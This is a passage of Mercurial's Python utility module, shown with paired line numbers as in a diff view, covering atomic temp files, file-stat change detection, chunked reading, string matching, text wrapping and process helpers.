1892 1897 os.close(fd)
1893 1898 # Temporary files are created with mode 0600, which is usually not
1894 1899 # what we want. If the original file already exists, just copy
1895 1900 # its mode. Otherwise, manually obey umask.
1896 1901 copymode(name, temp, createmode)
1897 1902 if emptyok:
1898 1903 return temp
1899 1904 try:
1900 1905 try:
1901 1906 ifp = posixfile(name, "rb")
1902 1907 except IOError as inst:
1903 1908 if inst.errno == errno.ENOENT:
1904 1909 return temp
1905 1910 if not getattr(inst, 'filename', None):
1906 1911 inst.filename = name
1907 1912 raise
1908 1913 ofp = posixfile(temp, "wb")
1909 1914 for chunk in filechunkiter(ifp):
1910 1915 ofp.write(chunk)
1911 1916 ifp.close()
1912 1917 ofp.close()
1913 1918 except: # re-raises
1914 1919 try:
1915 1920 os.unlink(temp)
1916 1921 except OSError:
1917 1922 pass
1918 1923 raise
1919 1924 return temp
1920 1925
1921 1926 class filestat(object):
1922 1927 """help to exactly detect change of a file
1923 1928
1924 1929 'stat' attribute is result of 'os.stat()' if specified 'path'
1925 1930 exists. Otherwise, it is None. This can avoid preparative
1926 1931 'exists()' examination on client side of this class.
1927 1932 """
1928 1933 def __init__(self, stat):
1929 1934 self.stat = stat
1930 1935
1931 1936 @classmethod
1932 1937 def frompath(cls, path):
1933 1938 try:
1934 1939 stat = os.stat(path)
1935 1940 except OSError as err:
1936 1941 if err.errno != errno.ENOENT:
1937 1942 raise
1938 1943 stat = None
1939 1944 return cls(stat)
1940 1945
1941 1946 @classmethod
1942 1947 def fromfp(cls, fp):
1943 1948 stat = os.fstat(fp.fileno())
1944 1949 return cls(stat)
1945 1950
1946 1951 __hash__ = object.__hash__
1947 1952
1948 1953 def __eq__(self, old):
1949 1954 try:
1950 1955 # if ambiguity between stat of new and old file is
1951 1956 # avoided, comparison of size, ctime and mtime is enough
1952 1957 # to exactly detect change of a file regardless of platform
1953 1958 return (self.stat.st_size == old.stat.st_size and
1954 1959 self.stat.st_ctime == old.stat.st_ctime and
1955 1960 self.stat.st_mtime == old.stat.st_mtime)
1956 1961 except AttributeError:
1957 1962 pass
1958 1963 try:
1959 1964 return self.stat is None and old.stat is None
1960 1965 except AttributeError:
1961 1966 return False
1962 1967
1963 1968 def isambig(self, old):
1964 1969 """Examine whether new (= self) stat is ambiguous against old one
1965 1970
1966 1971 "S[N]" below means stat of a file at N-th change:
1967 1972
1968 1973 - S[n-1].ctime < S[n].ctime: can detect change of a file
1969 1974 - S[n-1].ctime == S[n].ctime
1970 1975 - S[n-1].ctime < S[n].mtime: means natural advancing (*1)
1971 1976 - S[n-1].ctime == S[n].mtime: is ambiguous (*2)
1972 1977 - S[n-1].ctime > S[n].mtime: never occurs naturally (don't care)
1973 1978 - S[n-1].ctime > S[n].ctime: never occurs naturally (don't care)
1974 1979
1975 1980 Case (*2) above means that a file was changed twice or more at
1976 1981 same time in sec (= S[n-1].ctime), and comparison of timestamp
1977 1982 is ambiguous.
1978 1983
1979 1984 Base idea to avoid such ambiguity is "advance mtime 1 sec, if
1980 1985 timestamp is ambiguous".
1981 1986
1982 1987 But advancing mtime only in case (*2) doesn't work as
1983 1988 expected, because naturally advanced S[n].mtime in case (*1)
1984 1989 might be equal to manually advanced S[n-1 or earlier].mtime.
1985 1990
1986 1991 Therefore, all "S[n-1].ctime == S[n].ctime" cases should be
1987 1992 treated as ambiguous regardless of mtime, to avoid overlooking
1988 1993 by confliction between such mtime.
1989 1994
1990 1995 Advancing mtime "if isambig(oldstat)" ensures "S[n-1].mtime !=
1991 1996 S[n].mtime", even if size of a file isn't changed.
1992 1997 """
1993 1998 try:
1994 1999 return (self.stat.st_ctime == old.stat.st_ctime)
1995 2000 except AttributeError:
1996 2001 return False
1997 2002
1998 2003 def avoidambig(self, path, old):
1999 2004 """Change file stat of specified path to avoid ambiguity
2000 2005
2001 2006 'old' should be previous filestat of 'path'.
2002 2007
2003 2008 This skips avoiding ambiguity, if a process doesn't have
2004 2009 appropriate privileges for 'path'. This returns False in this
2005 2010 case.
2006 2011
2007 2012 Otherwise, this returns True, as "ambiguity is avoided".
2008 2013 """
2009 2014 advanced = (old.stat.st_mtime + 1) & 0x7fffffff
2010 2015 try:
2011 2016 os.utime(path, (advanced, advanced))
2012 2017 except OSError as inst:
2013 2018 if inst.errno == errno.EPERM:
2014 2019 # utime() on the file created by another user causes EPERM,
2015 2020 # if a process doesn't have appropriate privileges
2016 2021 return False
2017 2022 raise
2018 2023 return True
2019 2024
2020 2025 def __ne__(self, other):
2021 2026 return not self == other
2022 2027
2023 2028 class atomictempfile(object):
2024 2029 '''writable file object that atomically updates a file
2025 2030
2026 2031 All writes will go to a temporary copy of the original file. Call
2027 2032 close() when you are done writing, and atomictempfile will rename
2028 2033 the temporary copy to the original name, making the changes
2029 2034 visible. If the object is destroyed without being closed, all your
2030 2035 writes are discarded.
2031 2036
2032 2037 checkambig argument of constructor is used with filestat, and is
2033 2038 useful only if target file is guarded by any lock (e.g. repo.lock
2034 2039 or repo.wlock).
2035 2040 '''
2036 2041 def __init__(self, name, mode='w+b', createmode=None, checkambig=False):
2037 2042 self.__name = name # permanent name
2038 2043 self._tempname = mktempcopy(name, emptyok=('w' in mode),
2039 2044 createmode=createmode)
2040 2045 self._fp = posixfile(self._tempname, mode)
2041 2046 self._checkambig = checkambig
2042 2047
2043 2048 # delegated methods
2044 2049 self.read = self._fp.read
2045 2050 self.write = self._fp.write
2046 2051 self.seek = self._fp.seek
2047 2052 self.tell = self._fp.tell
2048 2053 self.fileno = self._fp.fileno
2049 2054
2050 2055 def close(self):
2051 2056 if not self._fp.closed:
2052 2057 self._fp.close()
2053 2058 filename = localpath(self.__name)
2054 2059 oldstat = self._checkambig and filestat.frompath(filename)
2055 2060 if oldstat and oldstat.stat:
2056 2061 rename(self._tempname, filename)
2057 2062 newstat = filestat.frompath(filename)
2058 2063 if newstat.isambig(oldstat):
2059 2064 # stat of changed file is ambiguous to original one
2060 2065 advanced = (oldstat.stat.st_mtime + 1) & 0x7fffffff
2061 2066 os.utime(filename, (advanced, advanced))
2062 2067 else:
2063 2068 rename(self._tempname, filename)
2064 2069
2065 2070 def discard(self):
2066 2071 if not self._fp.closed:
2067 2072 try:
2068 2073 os.unlink(self._tempname)
2069 2074 except OSError:
2070 2075 pass
2071 2076 self._fp.close()
2072 2077
2073 2078 def __del__(self):
2074 2079 if safehasattr(self, '_fp'): # constructor actually did something
2075 2080 self.discard()
2076 2081
2077 2082 def __enter__(self):
2078 2083 return self
2079 2084
2080 2085 def __exit__(self, exctype, excvalue, traceback):
2081 2086 if exctype is not None:
2082 2087 self.discard()
2083 2088 else:
2084 2089 self.close()
2085 2090
2086 2091 def unlinkpath(f, ignoremissing=False):
2087 2092 """unlink and remove the directory if it is empty"""
2088 2093 if ignoremissing:
2089 2094 tryunlink(f)
2090 2095 else:
2091 2096 unlink(f)
2092 2097 # try removing directories that might now be empty
2093 2098 try:
2094 2099 removedirs(os.path.dirname(f))
2095 2100 except OSError:
2096 2101 pass
2097 2102
2098 2103 def tryunlink(f):
2099 2104 """Attempt to remove a file, ignoring ENOENT errors."""
2100 2105 try:
2101 2106 unlink(f)
2102 2107 except OSError as e:
2103 2108 if e.errno != errno.ENOENT:
2104 2109 raise
2105 2110
2106 2111 def makedirs(name, mode=None, notindexed=False):
2107 2112 """recursive directory creation with parent mode inheritance
2108 2113
2109 2114 Newly created directories are marked as "not to be indexed by
2110 2115 the content indexing service", if ``notindexed`` is specified
2111 2116 for "write" mode access.
2112 2117 """
2113 2118 try:
2114 2119 makedir(name, notindexed)
2115 2120 except OSError as err:
2116 2121 if err.errno == errno.EEXIST:
2117 2122 return
2118 2123 if err.errno != errno.ENOENT or not name:
2119 2124 raise
2120 2125 parent = os.path.dirname(os.path.abspath(name))
2121 2126 if parent == name:
2122 2127 raise
2123 2128 makedirs(parent, mode, notindexed)
2124 2129 try:
2125 2130 makedir(name, notindexed)
2126 2131 except OSError as err:
2127 2132 # Catch EEXIST to handle races
2128 2133 if err.errno == errno.EEXIST:
2129 2134 return
2130 2135 raise
2131 2136 if mode is not None:
2132 2137 os.chmod(name, mode)
2133 2138
2134 2139 def readfile(path):
2135 2140 with open(path, 'rb') as fp:
2136 2141 return fp.read()
2137 2142
2138 2143 def writefile(path, text):
2139 2144 with open(path, 'wb') as fp:
2140 2145 fp.write(text)
2141 2146
2142 2147 def appendfile(path, text):
2143 2148 with open(path, 'ab') as fp:
2144 2149 fp.write(text)
2145 2150
2146 2151 class chunkbuffer(object):
2147 2152 """Allow arbitrary sized chunks of data to be efficiently read from an
2148 2153 iterator over chunks of arbitrary size."""
2149 2154
2150 2155 def __init__(self, in_iter):
2151 2156 """in_iter is the iterator that's iterating over the input chunks."""
2152 2157 def splitbig(chunks):
2153 2158 for chunk in chunks:
2154 2159 if len(chunk) > 2**20:
2155 2160 pos = 0
2156 2161 while pos < len(chunk):
2157 2162 end = pos + 2 ** 18
2158 2163 yield chunk[pos:end]
2159 2164 pos = end
2160 2165 else:
2161 2166 yield chunk
2162 2167 self.iter = splitbig(in_iter)
2163 2168 self._queue = collections.deque()
2164 2169 self._chunkoffset = 0
2165 2170
2166 2171 def read(self, l=None):
2167 2172 """Read L bytes of data from the iterator of chunks of data.
2168 2173 Returns less than L bytes if the iterator runs dry.
2169 2174
2170 2175 If size parameter is omitted, read everything"""
2171 2176 if l is None:
2172 2177 return ''.join(self.iter)
2173 2178
2174 2179 left = l
2175 2180 buf = []
2176 2181 queue = self._queue
2177 2182 while left > 0:
2178 2183 # refill the queue
2179 2184 if not queue:
2180 2185 target = 2**18
2181 2186 for chunk in self.iter:
2182 2187 queue.append(chunk)
2183 2188 target -= len(chunk)
2184 2189 if target <= 0:
2185 2190 break
2186 2191 if not queue:
2187 2192 break
2188 2193
2189 2194 # The easy way to do this would be to queue.popleft(), modify the
2190 2195 # chunk (if necessary), then queue.appendleft(). However, for cases
2191 2196 # where we read partial chunk content, this incurs 2 dequeue
2192 2197 # mutations and creates a new str for the remaining chunk in the
2193 2198 # queue. Our code below avoids this overhead.
2194 2199
2195 2200 chunk = queue[0]
2196 2201 chunkl = len(chunk)
2197 2202 offset = self._chunkoffset
2198 2203
2199 2204 # Use full chunk.
2200 2205 if offset == 0 and left >= chunkl:
2201 2206 left -= chunkl
2202 2207 queue.popleft()
2203 2208 buf.append(chunk)
2204 2209 # self._chunkoffset remains at 0.
2205 2210 continue
2206 2211
2207 2212 chunkremaining = chunkl - offset
2208 2213
2209 2214 # Use all of unconsumed part of chunk.
2210 2215 if left >= chunkremaining:
2211 2216 left -= chunkremaining
2212 2217 queue.popleft()
2213 2218 # offset == 0 is enabled by block above, so this won't merely
2214 2219 # copy via ``chunk[0:]``.
2215 2220 buf.append(chunk[offset:])
2216 2221 self._chunkoffset = 0
2217 2222
2218 2223 # Partial chunk needed.
2219 2224 else:
2220 2225 buf.append(chunk[offset:offset + left])
2221 2226 self._chunkoffset += left
2222 2227 left -= chunkremaining
2223 2228
2224 2229 return ''.join(buf)
2225 2230
2226 2231 def filechunkiter(f, size=131072, limit=None):
2227 2232 """Create a generator that produces the data in the file size
2228 2233 (default 131072) bytes at a time, up to optional limit (default is
2229 2234 to read all data). Chunks may be less than size bytes if the
2230 2235 chunk is the last chunk in the file, or the file is a socket or
2231 2236 some other type of file that sometimes reads less data than is
2232 2237 requested."""
2233 2238 assert size >= 0
2234 2239 assert limit is None or limit >= 0
2235 2240 while True:
2236 2241 if limit is None:
2237 2242 nbytes = size
2238 2243 else:
2239 2244 nbytes = min(limit, size)
2240 2245 s = nbytes and f.read(nbytes)
2241 2246 if not s:
2242 2247 break
2243 2248 if limit:
2244 2249 limit -= len(s)
2245 2250 yield s
2246 2251
2247 2252 class cappedreader(object):
2248 2253 """A file object proxy that allows reading up to N bytes.
2249 2254
2250 2255 Given a source file object, instances of this type allow reading up to
2251 2256 N bytes from that source file object. Attempts to read past the allowed
2252 2257 limit are treated as EOF.
2253 2258
2254 2259 It is assumed that I/O is not performed on the original file object
2255 2260 in addition to I/O that is performed by this instance. If there is,
2256 2261 state tracking will get out of sync and unexpected results will ensue.
2257 2262 """
2258 2263 def __init__(self, fh, limit):
2259 2264 """Allow reading up to <limit> bytes from <fh>."""
2260 2265 self._fh = fh
2261 2266 self._left = limit
2262 2267
2263 2268 def read(self, n=-1):
2264 2269 if not self._left:
2265 2270 return b''
2266 2271
2267 2272 if n < 0:
2268 2273 n = self._left
2269 2274
2270 2275 data = self._fh.read(min(n, self._left))
2271 2276 self._left -= len(data)
2272 2277 assert self._left >= 0
2273 2278
2274 2279 return data
2275 2280
2276 2281 def stringmatcher(pattern, casesensitive=True):
2277 2282 """
2278 2283 accepts a string, possibly starting with 're:' or 'literal:' prefix.
2279 2284 returns the matcher name, pattern, and matcher function.
2280 2285 missing or unknown prefixes are treated as literal matches.
2281 2286
2282 2287 helper for tests:
2283 2288 >>> def test(pattern, *tests):
2284 2289 ... kind, pattern, matcher = stringmatcher(pattern)
2285 2290 ... return (kind, pattern, [bool(matcher(t)) for t in tests])
2286 2291 >>> def itest(pattern, *tests):
2287 2292 ... kind, pattern, matcher = stringmatcher(pattern, casesensitive=False)
2288 2293 ... return (kind, pattern, [bool(matcher(t)) for t in tests])
2289 2294
2290 2295 exact matching (no prefix):
2291 2296 >>> test(b'abcdefg', b'abc', b'def', b'abcdefg')
2292 2297 ('literal', 'abcdefg', [False, False, True])
2293 2298
2294 2299 regex matching ('re:' prefix)
2295 2300 >>> test(b're:a.+b', b'nomatch', b'fooadef', b'fooadefbar')
2296 2301 ('re', 'a.+b', [False, False, True])
2297 2302
2298 2303 force exact matches ('literal:' prefix)
2299 2304 >>> test(b'literal:re:foobar', b'foobar', b're:foobar')
2300 2305 ('literal', 're:foobar', [False, True])
2301 2306
2302 2307 unknown prefixes are ignored and treated as literals
2303 2308 >>> test(b'foo:bar', b'foo', b'bar', b'foo:bar')
2304 2309 ('literal', 'foo:bar', [False, False, True])
2305 2310
2306 2311 case insensitive regex matches
2307 2312 >>> itest(b're:A.+b', b'nomatch', b'fooadef', b'fooadefBar')
2308 2313 ('re', 'A.+b', [False, False, True])
2309 2314
2310 2315 case insensitive literal matches
2311 2316 >>> itest(b'ABCDEFG', b'abc', b'def', b'abcdefg')
2312 2317 ('literal', 'ABCDEFG', [False, False, True])
2313 2318 """
2314 2319 if pattern.startswith('re:'):
2315 2320 pattern = pattern[3:]
2316 2321 try:
2317 2322 flags = 0
2318 2323 if not casesensitive:
2319 2324 flags = remod.I
2320 2325 regex = remod.compile(pattern, flags)
2321 2326 except remod.error as e:
2322 2327 raise error.ParseError(_('invalid regular expression: %s')
2323 2328 % e)
2324 2329 return 're', pattern, regex.search
2325 2330 elif pattern.startswith('literal:'):
2326 2331 pattern = pattern[8:]
2327 2332
2328 2333 match = pattern.__eq__
2329 2334
2330 2335 if not casesensitive:
2331 2336 ipat = encoding.lower(pattern)
2332 2337 match = lambda s: ipat == encoding.lower(s)
2333 2338 return 'literal', pattern, match
2334 2339
2335 2340 def shortuser(user):
2336 2341 """Return a short representation of a user name or email address."""
2337 2342 f = user.find('@')
2338 2343 if f >= 0:
2339 2344 user = user[:f]
2340 2345 f = user.find('<')
2341 2346 if f >= 0:
2342 2347 user = user[f + 1:]
2343 2348 f = user.find(' ')
2344 2349 if f >= 0:
2345 2350 user = user[:f]
2346 2351 f = user.find('.')
2347 2352 if f >= 0:
2348 2353 user = user[:f]
2349 2354 return user
2350 2355
2351 2356 def emailuser(user):
2352 2357 """Return the user portion of an email address."""
2353 2358 f = user.find('@')
2354 2359 if f >= 0:
2355 2360 user = user[:f]
2356 2361 f = user.find('<')
2357 2362 if f >= 0:
2358 2363 user = user[f + 1:]
2359 2364 return user
2360 2365
2361 2366 def email(author):
2362 2367 '''get email of author.'''
2363 2368 r = author.find('>')
2364 2369 if r == -1:
2365 2370 r = None
2366 2371 return author[author.find('<') + 1:r]
2367 2372
2368 2373 def ellipsis(text, maxlength=400):
2369 2374 """Trim string to at most maxlength (default: 400) columns in display."""
2370 2375 return encoding.trim(text, maxlength, ellipsis='...')
2371 2376
2372 2377 def unitcountfn(*unittable):
2373 2378 '''return a function that renders a readable count of some quantity'''
2374 2379
2375 2380 def go(count):
2376 2381 for multiplier, divisor, format in unittable:
2377 2382 if abs(count) >= divisor * multiplier:
2378 2383 return format % (count / float(divisor))
2379 2384 return unittable[-1][2] % count
2380 2385
2381 2386 return go
2382 2387
2383 2388 def processlinerange(fromline, toline):
2384 2389 """Check that linerange <fromline>:<toline> makes sense and return a
2385 2390 0-based range.
2386 2391
2387 2392 >>> processlinerange(10, 20)
2388 2393 (9, 20)
2389 2394 >>> processlinerange(2, 1)
2390 2395 Traceback (most recent call last):
2391 2396 ...
2392 2397 ParseError: line range must be positive
2393 2398 >>> processlinerange(0, 5)
2394 2399 Traceback (most recent call last):
2395 2400 ...
2396 2401 ParseError: fromline must be strictly positive
2397 2402 """
2398 2403 if toline - fromline < 0:
2399 2404 raise error.ParseError(_("line range must be positive"))
2400 2405 if fromline < 1:
2401 2406 raise error.ParseError(_("fromline must be strictly positive"))
2402 2407 return fromline - 1, toline
2403 2408
2404 2409 bytecount = unitcountfn(
2405 2410 (100, 1 << 30, _('%.0f GB')),
2406 2411 (10, 1 << 30, _('%.1f GB')),
2407 2412 (1, 1 << 30, _('%.2f GB')),
2408 2413 (100, 1 << 20, _('%.0f MB')),
2409 2414 (10, 1 << 20, _('%.1f MB')),
2410 2415 (1, 1 << 20, _('%.2f MB')),
2411 2416 (100, 1 << 10, _('%.0f KB')),
2412 2417 (10, 1 << 10, _('%.1f KB')),
2413 2418 (1, 1 << 10, _('%.2f KB')),
2414 2419 (1, 1, _('%.0f bytes')),
2415 2420 )
2416 2421
2417 2422 # Matches a single EOL which can either be a CRLF where repeated CR
2418 2423 # are removed or a LF. We do not care about old Macintosh files, so a
2419 2424 # stray CR is an error.
2420 2425 _eolre = remod.compile(br'\r*\n')
2421 2426
2422 2427 def tolf(s):
2423 2428 return _eolre.sub('\n', s)
2424 2429
2425 2430 def tocrlf(s):
2426 2431 return _eolre.sub('\r\n', s)
2427 2432
2428 2433 if pycompat.oslinesep == '\r\n':
2429 2434 tonativeeol = tocrlf
2430 2435 fromnativeeol = tolf
2431 2436 else:
2432 2437 tonativeeol = pycompat.identity
2433 2438 fromnativeeol = pycompat.identity
2434 2439
2435 2440 def escapestr(s):
2436 2441 # call underlying function of s.encode('string_escape') directly for
2437 2442 # Python 3 compatibility
2438 2443 return codecs.escape_encode(s)[0]
2439 2444
2440 2445 def unescapestr(s):
2441 2446 return codecs.escape_decode(s)[0]
2442 2447
2443 2448 def forcebytestr(obj):
2444 2449 """Portably format an arbitrary object (e.g. exception) into a byte
2445 2450 string."""
2446 2451 try:
2447 2452 return pycompat.bytestr(obj)
2448 2453 except UnicodeEncodeError:
2449 2454 # non-ascii string, may be lossy
2450 2455 return pycompat.bytestr(encoding.strtolocal(str(obj)))
2451 2456
2452 2457 def uirepr(s):
2453 2458 # Avoid double backslash in Windows path repr()
2454 2459 return pycompat.byterepr(pycompat.bytestr(s)).replace(b'\\\\', b'\\')
2455 2460
2456 2461 # delay import of textwrap
2457 2462 def MBTextWrapper(**kwargs):
2458 2463 class tw(textwrap.TextWrapper):
2459 2464 """
2460 2465 Extend TextWrapper for width-awareness.
2461 2466
2462 2467 Neither number of 'bytes' in any encoding nor 'characters' is
2463 2468 appropriate to calculate terminal columns for specified string.
2464 2469
2465 2470 Original TextWrapper implementation uses built-in 'len()' directly,
2466 2471 so overriding is needed to use width information of each characters.
2467 2472
2468 2473 In addition, characters classified into 'ambiguous' width are
2469 2474 treated as wide in East Asian area, but as narrow in other.
2470 2475
2471 2476 This requires use decision to determine width of such characters.
2472 2477 """
2473 2478 def _cutdown(self, ucstr, space_left):
2474 2479 l = 0
2475 2480 colwidth = encoding.ucolwidth
2476 2481 for i in xrange(len(ucstr)):
2477 2482 l += colwidth(ucstr[i])
2478 2483 if space_left < l:
2479 2484 return (ucstr[:i], ucstr[i:])
2480 2485 return ucstr, ''
2481 2486
2482 2487 # overriding of base class
2483 2488 def _handle_long_word(self, reversed_chunks, cur_line, cur_len, width):
2484 2489 space_left = max(width - cur_len, 1)
2485 2490
2486 2491 if self.break_long_words:
2487 2492 cut, res = self._cutdown(reversed_chunks[-1], space_left)
2488 2493 cur_line.append(cut)
2489 2494 reversed_chunks[-1] = res
2490 2495 elif not cur_line:
2491 2496 cur_line.append(reversed_chunks.pop())
2492 2497
2493 2498 # this overriding code is imported from TextWrapper of Python 2.6
2494 2499 # to calculate columns of string by 'encoding.ucolwidth()'
2495 2500 def _wrap_chunks(self, chunks):
2496 2501 colwidth = encoding.ucolwidth
2497 2502
2498 2503 lines = []
2499 2504 if self.width <= 0:
2500 2505 raise ValueError("invalid width %r (must be > 0)" % self.width)
2501 2506
2502 2507 # Arrange in reverse order so items can be efficiently popped
2503 2508 # from a stack of chucks.
2504 2509 chunks.reverse()
2505 2510
2506 2511 while chunks:
2507 2512
2508 2513 # Start the list of chunks that will make up the current line.
2509 2514 # cur_len is just the length of all the chunks in cur_line.
2510 2515 cur_line = []
2511 2516 cur_len = 0
2512 2517
2513 2518 # Figure out which static string will prefix this line.
2514 2519 if lines:
2515 2520 indent = self.subsequent_indent
2516 2521 else:
2517 2522 indent = self.initial_indent
2518 2523
2519 2524 # Maximum width for this line.
2520 2525 width = self.width - len(indent)
2521 2526
2522 2527 # First chunk on line is whitespace -- drop it, unless this
2523 2528 # is the very beginning of the text (i.e. no lines started yet).
2524 2529 if self.drop_whitespace and chunks[-1].strip() == r'' and lines:
2525 2530 del chunks[-1]
2526 2531
2527 2532 while chunks:
2528 2533 l = colwidth(chunks[-1])
2529 2534
2530 2535 # Can at least squeeze this chunk onto the current line.
2531 2536 if cur_len + l <= width:
2532 2537 cur_line.append(chunks.pop())
2533 2538 cur_len += l
2534 2539
2535 2540 # Nope, this line is full.
2536 2541 else:
2537 2542 break
2538 2543
2539 2544 # The current line is full, and the next chunk is too big to
2540 2545 # fit on *any* line (not just this one).
2541 2546 if chunks and colwidth(chunks[-1]) > width:
2542 2547 self._handle_long_word(chunks, cur_line, cur_len, width)
2543 2548
2544 2549 # If the last chunk on this line is all whitespace, drop it.
2545 2550 if (self.drop_whitespace and
2546 2551 cur_line and cur_line[-1].strip() == r''):
2547 2552 del cur_line[-1]
2548 2553
2549 2554 # Convert current line back to a string and store it in list
2550 2555 # of all lines (return value).
2551 2556 if cur_line:
2552 2557 lines.append(indent + r''.join(cur_line))
2553 2558
2554 2559 return lines
2555 2560
2556 2561 global MBTextWrapper
2557 2562 MBTextWrapper = tw
2558 2563 return tw(**kwargs)
2559 2564
2560 2565 def wrap(line, width, initindent='', hangindent=''):
2561 2566 maxindent = max(len(hangindent), len(initindent))
2562 2567 if width <= maxindent:
2563 2568 # adjust for weird terminal size
2564 2569 width = max(78, maxindent + 1)
2565 2570 line = line.decode(pycompat.sysstr(encoding.encoding),
2566 2571 pycompat.sysstr(encoding.encodingmode))
2567 2572 initindent = initindent.decode(pycompat.sysstr(encoding.encoding),
2568 2573 pycompat.sysstr(encoding.encodingmode))
2569 2574 hangindent = hangindent.decode(pycompat.sysstr(encoding.encoding),
2570 2575 pycompat.sysstr(encoding.encodingmode))
2571 2576 wrapper = MBTextWrapper(width=width,
2572 2577 initial_indent=initindent,
2573 2578 subsequent_indent=hangindent)
2574 2579 return wrapper.fill(line).encode(pycompat.sysstr(encoding.encoding))
2575 2580
2576 2581 if (pyplatform.python_implementation() == 'CPython' and
2577 2582 sys.version_info < (3, 0)):
2578 2583 # There is an issue in CPython that some IO methods do not handle EINTR
2579 2584 # correctly. The following table shows what CPython version (and functions)
2580 2585 # are affected (buggy: has the EINTR bug, okay: otherwise):
2581 2586 #
2582 2587 # | < 2.7.4 | 2.7.4 to 2.7.12 | >= 3.0
2583 2588 # --------------------------------------------------
2584 2589 # fp.__iter__ | buggy | buggy | okay
2585 2590 # fp.read* | buggy | okay [1] | okay
2586 2591 #
2587 2592 # [1]: fixed by changeset 67dc99a989cd in the cpython hg repo.
2588 2593 #
2589 2594 # Here we workaround the EINTR issue for fileobj.__iter__. Other methods
2590 2595 # like "read*" are ignored for now, as Python < 2.7.4 is a minority.
2591 2596 #
2592 2597 # Although we can workaround the EINTR issue for fp.__iter__, it is slower:
2593 2598 # "for x in fp" is 4x faster than "for x in iter(fp.readline, '')" in
2594 2599 # CPython 2, because CPython 2 maintains an internal readahead buffer for
2595 2600 # fp.__iter__ but not other fp.read* methods.
2596 2601 #
2597 2602 # On modern systems like Linux, the "read" syscall cannot be interrupted
2598 2603 # when reading "fast" files like on-disk files. So the EINTR issue only
2599 2604 # affects things like pipes, sockets, ttys etc. We treat "normal" (S_ISREG)
2600 2605 # files approximately as "fast" files and use the fast (unsafe) code path,
2601 2606 # to minimize the performance impact.
2602 2607 if sys.version_info >= (2, 7, 4):
2603 2608 # fp.readline deals with EINTR correctly, use it as a workaround.
2604 2609 def _safeiterfile(fp):
2605 2610 return iter(fp.readline, '')
2606 2611 else:
2607 2612 # fp.read* are broken too, manually deal with EINTR in a stupid way.
2608 2613 # note: this may block longer than necessary because of bufsize.
2609 2614 def _safeiterfile(fp, bufsize=4096):
2610 2615 fd = fp.fileno()
2611 2616 line = ''
2612 2617 while True:
2613 2618 try:
2614 2619 buf = os.read(fd, bufsize)
2615 2620 except OSError as ex:
2616 2621 # os.read only raises EINTR before any data is read
2617 2622 if ex.errno == errno.EINTR:
2618 2623 continue
2619 2624 else:
2620 2625 raise
2621 2626 line += buf
2622 2627 if '\n' in buf:
2623 2628 splitted = line.splitlines(True)
2624 2629 line = ''
2625 2630 for l in splitted:
2626 2631 if l[-1] == '\n':
2627 2632 yield l
2628 2633 else:
2629 2634 line = l
2630 2635 if not buf:
2631 2636 break
2632 2637 if line:
2633 2638 yield line
2634 2639
2635 2640 def iterfile(fp):
2636 2641 fastpath = True
2637 2642 if type(fp) is file:
2638 2643 fastpath = stat.S_ISREG(os.fstat(fp.fileno()).st_mode)
2639 2644 if fastpath:
2640 2645 return fp
2641 2646 else:
2642 2647 return _safeiterfile(fp)
2643 2648 else:
2644 2649 # PyPy and CPython 3 do not have the EINTR issue thus no workaround needed.
2645 2650 def iterfile(fp):
2646 2651 return fp
2647 2652
2648 2653 def iterlines(iterator):
2649 2654 for chunk in iterator:
2650 2655 for line in chunk.splitlines():
2651 2656 yield line
2652 2657
2653 2658 def expandpath(path):
2654 2659 return os.path.expanduser(os.path.expandvars(path))
2655 2660
2656 2661 def hgcmd():
2657 2662 """Return the command used to execute current hg
2658 2663
2659 2664 This is different from hgexecutable() because on Windows we want
2660 2665 to avoid things opening new shell windows like batch files, so we
2661 2666 get either the python call or current executable.
2662 2667 """
2663 2668 if mainfrozen():
2664 2669 if getattr(sys, 'frozen', None) == 'macosx_app':
2665 2670 # Env variable set by py2app
2666 2671 return [encoding.environ['EXECUTABLEPATH']]
2667 2672 else:
2668 2673 return [pycompat.sysexecutable]
2669 2674 return gethgcmd()
2670 2675
2671 2676 def rundetached(args, condfn):
2672 2677 """Execute the argument list in a detached process.
2673 2678
2674 2679 condfn is a callable which is called repeatedly and should return
2675 2680 True once the child process is known to have started successfully.
2676 2681 At this point, the child process PID is returned. If the child
2677 2682 process fails to start or finishes before condfn() evaluates to
2678 2683 True, return -1.
2679 2684 """
2680 2685 # Windows case is easier because the child process is either
2681 2686 # successfully starting and validating the condition or exiting
2682 2687 # on failure. We just poll on its PID. On Unix, if the child
2683 2688 # process fails to start, it will be left in a zombie state until
2684 2689 # the parent wait on it, which we cannot do since we expect a long
2685 2690 # running process on success. Instead we listen for SIGCHLD telling
2686 2691 # us our child process terminated.
2687 2692 terminated = set()
2688 2693 def handler(signum, frame):
2689 2694 terminated.add(os.wait())
2690 2695 prevhandler = None
2691 2696 SIGCHLD = getattr(signal, 'SIGCHLD', None)
2692 2697 if SIGCHLD is not None:
2693 2698 prevhandler = signal.signal(SIGCHLD, handler)
2694 2699 try:
2695 2700 pid = spawndetached(args)
2696 2701 while not condfn():
2697 2702 if ((pid in terminated or not testpid(pid))
2698 2703 and not condfn()):
2699 2704 return -1
2700 2705 time.sleep(0.1)
2701 2706 return pid
2702 2707 finally:
2703 2708 if prevhandler is not None:
2704 2709 signal.signal(signal.SIGCHLD, prevhandler)
2705 2710
2706 2711 def interpolate(prefix, mapping, s, fn=None, escape_prefix=False):
2707 2712 """Return the result of interpolating items in the mapping into string s.
2708 2713
2709 2714 prefix is a single character string, or a two character string with
2710 2715 a backslash as the first character if the prefix needs to be escaped in
2711 2716 a regular expression.
2712 2717
2713 2718 fn is an optional function that will be applied to the replacement text
2714 2719 just before replacement.
2715 2720
2716 2721 escape_prefix is an optional flag that allows using doubled prefix for
2717 2722 its escaping.
2718 2723 """
2719 2724 fn = fn or (lambda s: s)
2720 2725 patterns = '|'.join(mapping.keys())
2721 2726 if escape_prefix:
2722 2727 patterns += '|' + prefix
2723 2728 if len(prefix) > 1:
2724 2729 prefix_char = prefix[1:]
2725 2730 else:
2726 2731 prefix_char = prefix
2727 2732 mapping[prefix_char] = prefix_char
2728 2733 r = remod.compile(br'%s(%s)' % (prefix, patterns))
2729 2734 return r.sub(lambda x: fn(mapping[x.group()[1:]]), s)
2730 2735
2731 2736 def getport(port):
2732 2737 """Return the port for a given network service.
2733 2738
2734 2739 If port is an integer, it's returned as is. If it's a string, it's
2735 2740 looked up using socket.getservbyname(). If there's no matching
2736 2741 service, error.Abort is raised.
2737 2742 """
2738 2743 try:
2739 2744 return int(port)
2740 2745 except ValueError:
2741 2746 pass
2742 2747
2743 2748 try:
2744 2749 return socket.getservbyname(pycompat.sysstr(port))
2745 2750 except socket.error:
